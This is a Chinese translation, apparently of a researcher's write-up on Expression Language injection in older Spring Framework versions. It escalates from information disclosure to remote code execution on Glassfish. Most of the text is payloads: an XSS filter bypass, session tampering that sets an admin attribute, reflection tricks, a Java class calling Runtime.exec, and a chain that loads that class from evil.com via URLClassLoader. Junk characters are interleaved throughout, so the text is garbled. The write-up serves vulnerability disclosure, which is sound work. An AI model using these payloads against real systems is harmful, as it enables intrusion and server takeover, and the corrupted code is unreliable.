Remote Code with/ K2 |& g/ d! W- e3 L/ R
Expression Language Injection H- d- A0 L1 T& J9 `9 C5 M
Spring Framework脆弱性—DanAmodio
% S5 m, W: X" p' X* w全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中% A" W) C+ `3 m8 X/ J! j. _
可能会存在风险。
; J( H* ?( M7 x% b* W在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
5 g' |6 Q u, g) Q- p. q" k( P; yArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可& v# o( M2 ~* w" w& {
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,( x4 E* ^9 v6 C7 q7 m; [
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前2 R6 V' h) D, d9 B8 D$ R0 _$ s
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。. }& c) @: p) z4 K' n
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
6 e7 L: J! ~. u/ K我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
" M' j, V* ~5 V; e& x. B本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。, i- d7 V, n* \2 Z M( x
这些版本不支持禁用double EL resolution.9 p0 H7 p/ e3 i8 _9 D% s9 t2 {
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
/ @4 d! ^8 N. Y, ~8 i8 l3 HEL2.2容器上可能进行远程代码执行。
" B5 \/ k5 L% k0 u7 m: G9 T这是一个原始信息泄露的攻击例子:% A3 [! y, l) J, g( V/ e T) I5 h
请求:
* ~) p7 H( K8 ]' ]ttp://vulnerable.com/foo?message=${applicationScope}
]2 u1 H$ B; r6 n) v( P0 o, i到达以下内容页面:
% k B e! ^0 q' c结果将输出一些包含内部服务器信息calsspath 和本地工作目录" ^( R- L" @( C1 P
你也可以做一些其他事情,如这样: |8 i9 k* d! E6 A, _) d5 ?$ Z8 A
${9999+1}8 r, `0 a0 S& O. ?
还可以访问session 对象和beans) u# S; W4 i4 e0 H
${employee.lastName}9 X9 D8 @0 @, m) T6 W$ ~# Q$ s
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
7 K/ d8 T# F! wEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东8 H" M! ~$ U- i
西,比如XSS.
: \" |) }* I4 D0 q哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
( ~, M% p' O9 ~) N% q2 D突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
$ P6 |4 u! N {# ~呢?”
1 D* d/ J4 @: p) n+ c( V因此,我尝试巳缦拢�+ D1 \3 r, J2 [: ?
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP6 ~% [, {& G4 c# u
P8 `9 f, p( o0 V# I
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
0 X& W" e7 w6 W3 C; ~# ^回的文本被插入进了spring:message 标签。5 d0 |3 f* Q6 S% h7 p \
这里是一个最终绕过过滤的实例:
7 |1 E7 y5 q/ f+ h" g9 x) zhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ# Y3 c o3 k6 |
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为" N/ K& J* X* D) A) w: p
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
% q7 C) M+ @$ U2 A {) h经过一番研究,我学习到EL2.2 增加了方法调用。
2 ~0 i3 Q& A5 [# R我写了一个快速测试应用程序代码并且检测一些功能
% ~# b9 q5 M0 h! j${pageContext.request.getSession().setAttribute(“account”,”123456″)}# E& ^8 c# h0 W" S. g! ]* Z
${pageContext.request.getSession().setAttribute(“admin”,true)}
D$ h, c8 Q2 }' J( D Y% E9 C好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的" C3 z+ A$ e, h7 o
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
) ?: j; ?" P: T, h: ~${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
$ ]7 [, P/ e# l“, 1234)}: y" N1 l" a! x7 m9 A
${“”.getClass().forName(“java.lang.Runtime”)}
! T! i5 g r Z哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不* ?& W+ [* @+ h# b$ K% R! v
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
- V# x" {: {1 N9 V& c- E9 q# \/ `# s& \9 w数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有: p3 b( x0 W2 h
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于. o" Z2 \$ R3 j) j0 @9 n- A* ^
方法签名invoke(Object obj, Object„ args)
$ l" a8 U1 P, G, f: IJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
D& m% Y: @+ F/ D# f0 V$ x题,以让它可以工作起来。
* k# i2 j ~0 P+ N2 b a9 X漏洞利用:' [$ u2 {) a4 e
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
% D2 a- O' Z: j; V0 }8 B' `" C希望你们中的一些JAVA奇才告诉我我是如此的可笑。
5 ~2 Y; z5 s1 S这里有一些我试过的失败的用例,为了试图让它工作的用例:
% ]' ?; f" ^, ^1 `8 m- r 写文件到文件系统
+ l S* F4 f& u! q* l( N4 ? 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.8 E& J& H( l1 ]) y% j. Q% k
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
6 N: j' J4 \# p${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}. N8 N! o; q9 \+ v' C( m( p
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
9 {6 [6 C% |& {6 zorg.springframework.expression.spel.standard.SpelExpressionParser not found' |; n/ @* Q5 e: y
by3 o, ~9 M; c! ]
org.glassfish.web.javax.servlet.jsp [194].) p8 w/ J& `) G& K
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
4 B! g5 u+ b- h* m; V 利用反射来创建一个新的Runtime(and watch the world burn)
% Z6 U: F# m& \6 ^: v. \6 m${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName! A8 l( h2 i8 Y# K6 F
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}/ |3 y+ z ^: H, Z9 {! e) y$ X
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
/ A3 S1 Y; A+ C) E! s 使用java.lang.ProcessBuilder
E8 Z% G/ |4 f. A0 q- R0 y8 G 用表达式语言来评估表达式语言
8 h3 j5 M- ?6 N: DExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
6 y; c# u u6 k0 Y9 W${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
\# s2 H x9 I) @, {: K“,”".getClass(),null)}* I0 g o i1 f
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)8 f1 d* v) G/ }% G% k. o
我在使用一个空数组通过Method.invoke()时失败了很多次
* a" I% y- F$ [; ?“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
" |. L1 K. T4 L5 U. N5 @- A.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A4 F: u! N, u8 c- e" b* @, |- [& a
rrayList”).newInstance().toArray())
; ^0 G& C1 Y% njava.lang.IllegalArgumentException: wrong number of arguments8 T. y) a- s+ w7 R
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
4 C5 `: p- }) P1 ?: S以创建一个恶意class文件并且指向类装载器.) M" P* w' w: p$ d2 V# C% z* V
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
& n7 T2 r3 {/ p6 P1 hpublic class Malicious {
' c, p8 C8 A2 I, Ypublic Malicious() {
1 D$ J8 c- L2 D% q- htry {4 c t7 l" }! l5 ^1 @8 c
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac" q7 I J/ k2 ~ _4 I. J" G
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
. w1 t/ K% {* ~2 s# s. x- e} catch (Exception e) {( ~& O& q, b2 q; \
}1 X" @# g. `! z2 i/ c( c5 m8 {
}$ m, Y! l+ O: H, Y u
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回% u h" o0 J) X- x; k: M, B8 p
话中,因此它可以被使用.
1 t' Z5 I2 t* u${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
5 ~5 F" l' V* p; _0 B(“java.util.ArrayList”).newInstance())}
, g+ K1 m4 \1 t3 w# A* \URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
H3 k. C4 E- P; w一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
$ {9 s+ ^2 P" _, RgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个& i" i- o8 L/ Z+ k
我们可以调用的create(string)方法,然后转换对一个URL对象。
; Z; W( f" T+ i# f! K- f2 }${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
4 ]; s# l! }1 R5 `$ s2 ?ere/malicious/classfile/is/located/”).toURL())}1 E) }$ }. J- S
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,( d U% m- n/ ]: ]+ O5 t* H
恶意类文件被装载并创建,触发远程代码.( _/ x- R1 h6 k: C% C O
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte: S# n" ]. h) O2 W" r2 ]2 \# g
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass()./ C/ I3 K( u" `$ Q4 [% r
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
, L& U' a$ N& c% P()} |